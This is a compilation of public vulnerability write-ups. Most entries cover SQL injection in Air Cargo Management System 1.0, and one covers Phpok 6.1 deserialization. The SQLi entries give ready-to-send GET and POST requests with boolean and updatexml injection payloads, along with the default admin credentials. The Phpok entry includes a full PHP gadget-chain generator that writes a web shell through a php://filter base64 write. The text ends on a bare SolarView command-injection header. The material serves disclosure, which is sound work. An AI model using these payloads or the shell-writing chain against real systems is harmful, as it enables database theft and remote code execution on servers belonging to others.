Air Cargo Management System 1.0 is vulnerable to SQL Injection via /acms/admin/cargo_types/manage_cargo_type.php?id=.

**Air Cargo Management System v1.0 by oretnom23 has SQL injection**

Author： k0xx

The password for the backend login account is: admin/admin123

vendors: https://www.sourcecodester.com/php/15188/air-cargo-management-system-php-oop-free-source-code.html

Vulnerability File: /acms/admin/cargo\_types/manage\_cargo\_type.php?id=

Vulnerability location: /acms/admin/cargo\_types/manage\_cargo\_type.php?id=,id

\[+\] Payload: /acms/admin/cargo\_types/manage\_cargo\_type.php?id=2%27%20and%20length(database())%20=7%20--+ // Leak place ---> id

Current database name: acms\_db,length is 7

GET /acms/admin/cargo\_types/manage\_cargo\_type.php?id\=2%27%20and%20length(database())%20\=7%20\--\+ HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=aaffvur9cmo069649rorqsbmeh
Connection: close

When length (database ()) = 6, Content-Length: 3017 

When length (database ()) = 7, Content-Length: 3053

CVE-2022-30373: bug_report/SQLi-4.md at main · k0xx11/bug_report

Air Cargo Management System 1.0 is vulnerable to SQL Injection via /acms/admin/?page=transactions/manage_transaction&id=.

**Air Cargo Management System v1.0 by oretnom23 has SQL injection**

Author： k0xx

The password for the backend login account is: admin/admin123

vendors: https://www.sourcecodester.com/php/15188/air-cargo-management-system-php-oop-free-source-code.html

Vulnerability File: /acms/admin/?page=transactions/manage\_transaction&id=

Vulnerability location: /acms/admin/?page=transactions/manage\_transaction&id=,id

\[+\] Payload: /acms/admin/?page=transactions/manage\_transaction&id=1%27%20and%20length(database())%20=7%20--+ // Leak place ---> id

Current database name: acms\_db,length is 7

GET /acms/admin/?page\=transactions/manage\_transaction&id\=1%27%20and%20length(database())%20\=7%20\--\+ HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=aaffvur9cmo069649rorqsbmeh
Connection: close

When length (database ()) = 6, Content-Length: 37255 

When length (database ()) = 7, Content-Length: 43289

CVE-2022-30374: bug_report/SQLi-5.md at main · k0xx11/bug_report

Air Cargo Management System 1.0 is vulnerable to SQL Injection via /acms/classes/Master.php?f=delete_cargo_type.

Permalink

Cannot retrieve contributors at this time

**Air Cargo Management System v1.0 by oretnom23 has SQL injection**

vendors: https://www.sourcecodester.com/php/15188/air-cargo-management-system-php-oop-free-source-code.html

The password for the backend login account is: admin/admin123

Vulnerability File: /acms/classes/Master.php?f=delete\_cargo\_type

Vulnerability location: /acms/classes/Master.php?f=delete\_cargo\_type, id

\[+\] Payload: id=3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

POST /acms/classes/Master.php?f\=delete\_cargo\_type HTTP/1.1
Host: 192.168.1.19
Content\-Length: 65
Accept: application/json, text/javascript, \*/\*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.1.19
Referer: http://192.168.1.19/acms/admin/?page=cargo\_types
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=8j006kgjjl9sdts88scke1lkuq
Connection: close
id=3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

CVE-2022-30370: bug_report/SQLi-1.md at main · k0xx11/bug_report

Air Cargo Management System 1.0 is vulnerable to SQL Injection via /acms/classes/Master.php?f=delete_cargo.

Permalink

Cannot retrieve contributors at this time

**Air Cargo Management System v1.0 by oretnom23 has SQL injection**

vendors: https://www.sourcecodester.com/php/15188/air-cargo-management-system-php-oop-free-source-code.html

The password for the backend login account is: admin/admin123

Vulnerability File: /acms/classes/Master.php?f=delete\_cargo

Vulnerability location: /acms/classes/Master.php?f=delete\_cargo, id

\[+\] Payload: id=3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

POST /acms/classes/Master.php?f\=delete\_cargo HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: application/json, text/javascript, \*/\*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.1.19/acms/admin/?page=transactions/view\_transaction&id=3
Content-Length: 65
Cookie: PHPSESSID=aaffvur9cmo069649rorqsbmeh
Connection: close
id=3' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

CVE-2022-30372: bug_report/SQLi-2.md at main · k0xx11/bug_report

Air Cargo Management System 1.0 is vulnerable to SQL Injection via /acms/admin/cargo_types/view_cargo_type.php?id=.

**Air Cargo Management System v1.0 by oretnom23 has SQL injection**

Author： k0xx

The password for the backend login account is: admin/admin123

vendors: https://www.sourcecodester.com/php/15188/air-cargo-management-system-php-oop-free-source-code.html

Vulnerability File: /acms/admin/cargo\_types/view\_cargo\_type.php?id=

Vulnerability location: /acms/admin/cargo\_types/view\_cargo\_type.php?id=,id

\[+\] Payload: /acms/admin/cargo\_types/view\_cargo\_type.php?id=2%27%20and%20length(database())%20=7%20--+ // Leak place ---> id

Current database name: acms\_db,length is 7

GET /acms/admin/cargo\_types/view\_cargo\_type.php?id\=2%27%20and%20length(database())%20\=7%20\--\+ HTTP/1.1
Host: 192.168.1.19
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=aaffvur9cmo069649rorqsbmeh
Connection: close

When length (database ()) = 6, Content-Length: 1161 

When length (database ()) = 7, Content-Length: 1043

CVE-2022-30371: bug_report/SQLi-3.md at main · k0xx11/bug_report

Phpok v6.1 was discovered to contain a deserialization vulnerability via the update_f() function in login_control.php. This vulnerability allows attackers to getshell via writing arbitrary files.

The update method in the login controller of the admin module calls the decode method and calls unserialize in the decode function

poc:http://127.0.0.1/61/admin.php?c=login&f=update&fid=../index&fcode=admin&quickcode=cefe25SOUEa4gCpoIv%2BJt%2F5z6u31tiK52nSRBk5hdcE2RBSYok%2B16JUHTY2n6QLMYal2lrFTkM5Os27Hn4Ho0QPtj1%2F8q2%2FrfShLLljvUGCdsPgQITemOZnBayJugy32PTPq2Jb056hKp04YfhZbymkHkBRv1c6dMcanU1shtbl46I0xgaskKvpoMp5YCH2WnVNziBbHCks11vpoXScgZrX1sqTCWaZ5m9Z04eaDJGWCQG3hVzNy3lC27cvVocS1ed0OP0K%2B9k0MfSNcTc0IUlEsZmQt1QY6Y%2FC4nm41IVgrcwXakwGLoR%2BvttyospEjAu0P%2BE8eo

analyze：

For this payload, we can use the cache class, whose \_\_destruct method calls the save method, and the save method can write to the webshell：

The exit here can be bypassed through the pseudo-protocol of php：

php file successfully written and executed：

When executing the following file to generate an attack chain, put index.php in the same directory:  
\`<?php

class token\_lib  
{  
private $keyid = '';  
private $keyc\_length = 6;  
private $keya;  
private $keyb;  
private $time;  
private $expiry = 3600;  
private $encode\_type = 'api\_code'; //仅支持 api\_code 和 public\_key  
private $public\_key = '';  
private $private\_key = '';

    public function __construct()
    {
    	$this->time = time();
    }
    
    
    public function etype($type="")
    {
    	if($type && in_array($type,array('api_code','public_key'))){
    		$this->encode_type = $type;
    	}
    	return $this->encode_type;
    }
    
    public function public_key($key='')
    {
    	if($key){
    		$this->public_key = $key;
    	}
    	return $this->public_key;
    }
    
    public function private_key($key='')
    {
    	if($key){
    		$this->private_key = $key;
    	}
    	return $this->private_key;
    }
    
    /**
     * 自定义密钥
     * @参数 $keyid 密钥内容
    **/
    public function keyid($keyid='')
    {
    	if(!$keyid){
    		return $this->keyid;
    	}
    	$this->keyid = strtolower(md5($keyid));
    	$this->config();
    	return $this->keyid;
    }
    
    private function config()
    {
    	if(!$this->keyid){
    		return false;
    	}
    	$this->keya = md5(substr($this->keyid, 0, 16));
    	$this->keyb = md5(substr($this->keyid, 16, 16));
    }
    
    /**
     * 设置超时
     * @参数 $time 超时时间，单位是秒
    **/
    public function expiry($time=0)
    {
    	if($time && $time > 0){
    		$this->expiry = $time;
    	}
    	return $this->expiry;
    }
    
    /**
     * 加密数据
     * @参数 $string 要加密的数据，数组或字符
    **/
    public function encode($string)
    {
    	if($this->encode_type == 'public_key'){
    		return $this->encode_rsa($string);
    	}
    	if(!$this->keyid){
    		return false;
    	}
    	$string = serialize($string);
    	$expiry_time = $this->expiry ? $this->expiry : 365*24*3600;
    	$string = sprintf('%010d',($expiry_time + $this->time)).substr(md5($string.$this->keyb), 0, 16).$string;	
    	$keyc = substr(md5(microtime().rand(1000,9999)), -$this->keyc_length);
    	$cryptkey = $this->keya.md5($this->keya.$keyc);
    	$rs = $this->core($string,$cryptkey);
    	return $keyc.str_replace('=', '', base64_encode($rs));
    }
    
    /**
     * 基于公钥加密
    **/
    private function encode_rsa($string)
    {
    	if(!$this->public_key){
    		return false;
    	}
    	$string = serialize($string);
    	$crypto = '';
    	$tlist = str_split($string,117);
    	foreach($tlist as $key=>$value){
    		openssl_public_encrypt($value,$data,$this->public_key);
    		$crypto .= $data;
    	}
    	return base64_encode($crypto);
    }
    
    /**
     * 解密
     * @参数 $string 要解密的字串
    **/
    public function decode($string)
    {
    	if($this->encode_type == 'public_key'){
    		return $this->decode_rsa($string);
    	}
    	if(!$this->keyid){
    		return false;
    	}
    	$string = str_replace(' ','+',$string);
    	$keyc = substr($string, 0, $this->keyc_length);
    	$string = base64_decode(substr($string, $this->keyc_length));
    	$cryptkey = $this->keya.md5($this->keya.$keyc);
    	$rs = $this->core($string,$cryptkey);
    	$chkb = substr(md5(substr($rs,26).$this->keyb),0,16);
    	if((substr($rs, 0, 10) - $this->time > 0) && substr($rs, 10, 16) == $chkb){
    		$info = substr($rs, 26);
    		return unserialize($info);
    	}
    	return false;
    }
    
    /**
     * 基于私钥解密
    **/
    public function decode_rsa($string)
    {
    	if(!$this->private_key){
    		return false;
    	}
    	$crypto = '';
    	$tlist = str_split(base64_decode($string),128);
    	foreach($tlist as $key=>$value){
    		openssl_private_decrypt($value,$data,$this->private_key);
    		$crypto .= $data;
    	}
    	if($crypto){
    		return unserialize($crypto);
    	}
    	return false;
    }
    
    private function core($string,$cryptkey)
    {
    	$key_length = strlen($cryptkey);
    	$string_length = strlen($string);
    	$result = '';
    	$box = range(0, 255);
    	$rndkey = array();
    	// 产生密匙簿
    	for($i = 0; $i <= 255; $i++){
    		$rndkey[$i] = ord($cryptkey[$i % $key_length]);
    	}
    	// 用固定的算法，打乱密匙簿，增加随机性，好像很复杂，实际上并不会增加密文的强度
    	for($j = $i = 0; $i < 256; $i++){
    		$j = ($j + $box[$i] + $rndkey[$i]) % 256;
    		$tmp = $box[$i];
    		$box[$i] = $box[$j];
    		$box[$j] = $tmp;
    	}
    	// 核心加解密部分
    	for($a = $j = $i = 0; $i < $string_length; $i++){
    		$a = ($a + 1) % 256;
    		$j = ($j + $box[$a]) % 256;
    		$tmp = $box[$a];
    		$box[$a] = $box[$j];
    		$box[$j] = $tmp;
    		$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    	}
    	return $result;
    }
    

}

class file\_lib  
{  
public $read\_count;  
private $safecode = "\\n";  
public function \_\_construct()  
{  
$this->read\_count = 0;  
}

    /**
     * 远程获取内容，这里直接调用html类来执行
     * @参数 $url 网址
     * @参数 $post 要提交的post数据
    **/
    public function remote($url,$post='')
    {
    	return $GLOBALS['app']->lib('html')->get_content($url,$post);
    }
    
    /**
     * 读取数据
     * @参数 $file 要读取的文件，支持远程文件
     * @参数 $length 文件长度，为空表示读取全部，仅限本地文件有效
     * @参数 $filter 是否过滤安全字符，默认为true，不过滤请传参false，仅限本地文件有效
     * @返回 false 或 文件内容
    **/
    public function cat($file="",$length=0,$filter=true)
    {
    	if(!$file){
    		return false;
    	}
    	if(strpos($file,"://") !== false && strpos($file,'file://') === false){
    		return $this->remote($file);
    	}
    	if(!file_exists($file)){
    		return false;
    	}
    	$this->read_count++;
    	
    	if($length && is_numeric($length)){
    		$maxlength = $length;
    		if($filter){
    			$maxlength = $length + strlen($this->safecode);
    		}
    		$fp = fopen($file,'rb');
    		if(!$fp){
    			return false;
    		}
    		$content = fread($fp,$maxlength);
    		fclose($fp);
    	}else{
    		$content = file_get_contents($file);
    	}
    	if(!$content){
    		return false;
    	}
    	if($filter || (is_bool($length) && $length)){
    		$content = str_replace($this->safecode,'',$content);
    	}
    	return $content;
    }
    
    /**
     * 保存数据
     * @参数 $content 要保存的内容，支持字符串，数组，多维数组等
     * @参数 $file 保存的文件地址
     * @参数 $var 仅限$content为数组，此项不为空时使用
     * @参数 $type 写入方式，默认为wb，清零写入
     * @返回 true/false
    **/
    public function vi($content='',$file='',$var="",$type="wb")
    {
    	if(!$content || !$file){
    		return false;
    	}
    	$this->make($file,"file");
    	if(is_array($content) && $var){
    		$content = $this->__array($content,$var);
    		$safecode = 'if(!defined("PHPOK_SET")){exit("<h1>Access Denied</h1>");}';
    		$content = "<?php\n".$safecode."\n".$content."\n//-----end";
    	}else{
    		if(strtolower($type) == 'wb' || strtolower($type) == 'w'){
    			$content = $this->safecode.$content;
    		}
    	}
    	$this->_write($content,$file,$type);
    	return true;
    }
    
    /**
     * 存储php等源码文件，不会写入安全保护
     * @参数 $content 要保存的内容
     * @参数 $file 保存的地址
     * @参数 $type 写入模式，wb 表示完全写入，ab 表示追加写入
    **/
    public function vim($content,$file,$type="wb")
    {
    	$this->make($file,"file");
    	return $this->_write($content,$file,$type);
    }
    
    /**
     * 保存数据别名，不改写任何东西
     * @参数 $content 要保存的内容
     * @参数 $file 保存的地址
     * @参数 $type 写入模式，wb 表示完全写入，ab 表示追加写入
    **/
    public function save($content,$file,$type='wb')
    {
    	return $this->vim($content,$file,$type);
    }
    
    /**
     * 存储图片，内容不进行stripslashes处理
     * @参数 $content 要保存的内容
     * @参数 $file 要保存的文件
     * @返回 
     * @更新时间 
    **/
    public function save_pic($content,$file)
    {
    	$this->make($file,"file");
    	$handle = $this->_open($file,"wb");
    	fwrite($handle,$content);
    	unset($content);
    	$this->_close($handle);
    	return true;
    }
    
    /**
     * 删除操作，请一定要小心，在程序中最好严格一些，不然有可能将整个目录删掉
     * @参数 $del 要删除的文件或文件夹
     * @参数 $type 仅支持file和folder，为file时仅删除$del文件，如果$del为文件夹，表示删除其下面的文件。为folder时，表示删除$del这个文件，如果为文件夹，表示删除此文件夹及子项
     * @返回 true/false
    **/
    public function rm($del,$type="file")
    {
    	if(!file_exists($del)){
    		return false;
    	}
    	if(is_file($del)){
    		unlink($del);
    		return true;
    	}
    	$array = $this->_dir_list($del);
    	if(!$array){
    		if($type == 'folder'){
    			rmdir($del);
    		}
    		return true;
    	}
    	foreach($array as $key=>$value){
    		if(file_exists($value)){
    			if(is_dir($value)){
    				$this->rm($value,$type);
    			}else{
    				unlink($value);
    			}
    		}
    	}
    	if($type == "folder"){
    		rmdir($del);
    	}
    	return true;
    }
    
    /**
     * 创建文件或目录
     * @参数 $file 文件或目录
     * @参数 $type 默认是dir，表示创建目录
     * @返回 true
    **/
    public function make($file,$type="dir")
    {
    	$newfile = $file;
    	$msg = "";
    	if(defined("ROOT")){
    		$root_strlen = strlen(ROOT);
    		if(substr($file,0,$root_strlen) == ROOT){
    			$newfile = substr($file,$root_strlen);
    		}
    		$msg = ROOT;//从根目录记算起是否有文件写入
    	}
    	$array = explode("/",$newfile);
    	$count = count($array);
    	if($type == "dir"){
    		for($i=0;$i<$count;$i++){
    			$msg .= $array[$i];
    			if(!file_exists($msg) && ($array[$i])){
    				mkdir($msg,0777);
    			}
    			$msg .= "/";
    		}
    	}else{
    		for($i=0;$i<($count-1);$i++){
    			$msg .= $array[$i];
    			if(!file_exists($msg) && ($array[$i])){
    				mkdir($msg,0777);
    			}
    			$msg .= "/";
    		}
    		if(!file_exists($file)){
    			@touch($file);//创建文件
    		}
    	}
    	return true;
    }
    
    /**
     * 复制操作
     * @参数 $old 旧文件（夹）
     * @参数 $new 新文件（夹）
     * @参数 $recover 是否覆盖
     * @返回 false/true
    **/
    public function cp($old,$new,$recover=true)
    {
    	if(!file_exists($old)){
    		return false;
    	}
    	if(is_file($old)){
    		//如果目标是文件夹
    		if(substr($new,-1) == '/'){
    			$this->make($new,'dir');
    			$basename = basename($old);
    			if(file_exists($new.$basename) && !$recover){
    				return false;
    			}
    			copy($old,$new.$basename);
    			return true;
    		}
    		if(file_exists($new) && !$recover){
    			return false;
    		}
    		copy($old,$new);
    		return true;
    	}
    	$basename = basename($old);
    	$this->make($new.$basename,'dir');
    	$dlist = $this->ls($old);
    	if($dlist && count($dlist)>0){
    		foreach($dlist as $key=>$value){
    			$this->cp($value,$new.$basename.'/',$recover);
    		}
    	}
    	return true;
    }
    
    /**
     * 文件移动操作
     * @参数 $old 旧文件（夹）
     * @参数 $new 新文件（夹）
     * @参数 $recover 是否覆盖
     * @返回 false/true
    **/
    public function mv($old,$new,$recover=true)
    {
    	if(!file_exists($old)){
    		return false;
    	}
    	if(substr($new,-1) == "/"){
    		$this->make($new,"dir");
    	}else{
    		$this->make($new,"file");
    	}
    	if(file_exists($new)){
    		if($recover){
    			unlink($new);
    		}else{
    			return false;
    		}
    	}else{
    		$new = $new.basename($old);
    	}
    	rename($old,$new);
    	return true;
    }
    
    /**
     * 获取文件夹列表
     * @参数 $folder 获取指定文件夹下的列表（仅一层深度）
     * @返回 数组
    **/
    public function ls($folder)
    {
    	$this->read_count++;
    	$list = $this->_dir_list($folder);
    	if(is_array($list)){
    		sort($list,SORT_STRING);
    	}
    	return $list;
    }
    
    /**
     * 获取文件夹及子文件夹等多层文件列表（无限级，长度受系统限制）
     * @参数 $folder 文件夹
     * @参数 $list 引用变量
    **/
    public function deep_ls($folder,&$list)
    {
    	$this->read_count++;
    	$tmplist = $this->_dir_list($folder);
    	if($tmplist){
    		foreach($tmplist as $key=>$value){
    			if(is_dir($value)){
    				$this->deep_ls($value,$list);
    			}else{
    				$list[] = $value;
    			}
    		}
    	}
    }
    
    /**
     * 取得文件夹下的列表
     * @参数 $file 文件（夹）
     * @参数 $type 仅支持folder或file，为file，直接返回$file本身
     * @返回 $file或数组
    **/
    private function _dir_list($file,$type="folder")
    {
    	if(substr($file,-1) == "/"){
    		$file = substr($file,0,-1);
    	}
    	if(!file_exists($file)){
    		return false;
    	}
    	if($type == "file" || is_file($file)){
    		return $file;
    	}else{
    		$handle = opendir($file);
    		$array = array();
    		while(false !== ($myfile = readdir($handle))){
    			if($myfile != "." && $myfile != ".." && $myfile != ".svn") $array[] = $file."/".$myfile;
    		}
    		closedir($handle);
    		return $array;
    	}
    }
    
    /**
     * 数组转成字符串
     * @参数 $array 要转的数组的
     * @参数 $var 传递的变量
     * @参数 $content 内容
     * @返回 
     * @更新时间 
    **/
    private function __array($array,$var,$content="")
    {
    	foreach($array AS $key=>$value){
    		if(is_array($value)){
    			$content .= $this->__array($value,"".$var."[\"".$key."\"]");
    		}else{
    			$old_str = array('"',"<?php","?>","\r");
    			$new_str = array("'","&lt;?php","?&gt;","");
    			$value = str_replace($old_str,$new_str,$value);
    			$content .= "\$".$var."[\"".$key."\"] = \"".$value."\";\n";
    		}
    	}
    	return $content;
    }
    
    /**
     * 打开文件
     * @参数 $file 打开的文件
     * @参数 $type 打开类型，默认是wb
    **/
    private function _open($file,$type="wb")
    {
    	$handle = fopen($file,$type);
    	$this->read_count++;
    	return $handle;
    }
    
    /**
     * 写入信息
     * @参数 $content 内容
     * @参数 $file 要写入的文件
     * @参数 $type 打开方式
     * @返回 true
    **/
    private function _write($content,$file,$type="wb")
    {
    	if($content){
    		$content = stripslashes($content);
    	}
    	$handle = $this->_open($file,$type);
    	fwrite($handle,$content);
    	unset($content);
    	$this->_close($handle);
    	return true;
    }
    
    /**
     * 关闭句柄
     * @参数 $handle 句柄
    **/
    private function _close($handle)
    {
    	return fclose($handle);
    }
    
    /**
     * 附件下载
     * @参数 $file 要下载的文件地址
     * @参数 $title 下载后的文件名
    **/
    public function download($file,$title='')
    {
    	if(!$file){
    		return false;
    	}
    	if(!file_exists($file)){
    		return false;
    	}
    	$ext = pathinfo($file,PATHINFO_EXTENSION);
    	$filesize = filesize($file);
    	if(!$title){
    		$title = basename($file);
    	}else{
    		$title = str_replace('.'.$ext,'',$title);
    		$title.= '.'.$ext;
    	}
    	ob_end_clean();
    	set_time_limit(0);
    	header("Content-type: applicatoin/octet-stream");
    	header("Date: ".gmdate("D, d M Y H:i:s",time())." GMT");
    	header("Last-Modified: ".gmdate("D, d M Y H:i:s",time())." GMT");
    	header("Content-Encoding: none");
    	header("Content-Disposition: attachment; filename=".rawurlencode($title)."; filename*=utf-8''".rawurlencode($title));
    	header("Accept-Ranges: bytes");
    	$range = 0;
    	$size2 = $filesize -1;
    	if (isset ($_SERVER['HTTP_RANGE'])) {
    	    list ($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
    	    $new_length = $size2 - $range;
    	    header("HTTP/1.1 206 Partial Content");
    	    header("Content-Length: ".$new_length); //输入总长
    	    header("Content-Range: bytes ".$range."-".$size2."/".$filesize);
    	} else {
    	    header("Content-Range: bytes 0-".$size2."/".$filesize); //Content-Range: bytes 0-4988927/4988928
    	    header("Content-Length: ".$filesize);
    	}
    	$read_buffer=4096;
    	$sum_buffer = 0;
    	$handle = fopen($file, "rb");
    	fseek($handle, $range);
    	ob_start();
    	while (!feof($handle) && $sum_buffer<$filesize) {
    		echo fread($handle,$read_buffer);
    		$sum_buffer+=$read_buffer;
    		ob_flush();
    		flush();
    	}
    	ob_end_clean();
    	fclose($handle);
    }
    

}

class cache{  
protected $key\_id='www';  
protected $key\_list='aaPD9waHAgcGhwaW5mbygpOz8+"';  
protected $folder='php://filter/write=convert.base64-decode/resource=../../../../../../../Applications/MxSrvs/www/a';

}

$token = new token\_lib();  
$file = new file\_lib();  
$token->keyid($file->cat("./index.php"));  
echo $token->encode(new cache());

\`

CVE-2022-29363: phpok6.1 has a deserialization vulnerability, and can getshell by writing arbitrary files  · Issue #12 · qinggan/phpok

SolarView Compact ver.6.00 was discovered to contain a command injection vulnerability via conf_mail.php.

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